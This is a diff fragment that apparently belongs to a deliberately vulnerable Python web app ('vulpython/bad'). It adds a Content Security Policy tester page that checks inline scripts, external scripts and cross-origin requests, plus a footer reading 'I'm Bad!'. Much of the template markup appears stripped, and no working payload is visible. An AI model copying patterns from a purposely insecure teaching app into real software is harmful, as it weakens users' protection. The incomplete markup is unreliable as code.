+.w3-border-dark-grey,.w3-hover-border-dark-grey:hover,.w3-border-dark-gray,.w3-hover-border-dark-gray:hover{border-color:#616161!important}
+.w3-border-pale-red,.w3-hover-border-pale-red:hover{border-color:#ffe7e7!important}.w3-border-pale-green,.w3-hover-border-pale-green:hover{border-color:#e7ffe7!important}
+.w3-border-pale-yellow,.w3-hover-border-pale-yellow:hover{border-color:#ffffcc!important}.w3-border-pale-blue,.w3-hover-border-pale-blue:hover{border-color:#e7ffff!important}
\ No newline at end of file
diff --git a/vulpython/bad/templates/csp.html b/vulpython/bad/templates/csp.html
new file mode 100644
index 0000000..41098f4
--- /dev/null
+++ b/vulpython/bad/templates/csp.html
@@ -0,0 +1,48 @@
+{% include "head.html" %}
+{% include "navbar.html" %}
+
+
+
+
+
+
Content Security Policy Tester
+
+
+
+ | External Image |
+  |
+
+
+ | Inline Style |
+ A bold Text |
+
+
+ | Inline Script |
+ |
+
+
+ | External XMLHttpRequest |
+ |
+
+
+ | External JavaScript |
+ |
+
+
+
+
+
+
+
+
+{% include "footer.html" %}
+
diff --git a/vulpython/bad/templates/footer.html b/vulpython/bad/templates/footer.html
new file mode 100644
index 0000000..13eb7c3
--- /dev/null
+++ b/vulpython/bad/templates/footer.html
@@ -0,0 +1,5 @@
+
+I'm Bad!
+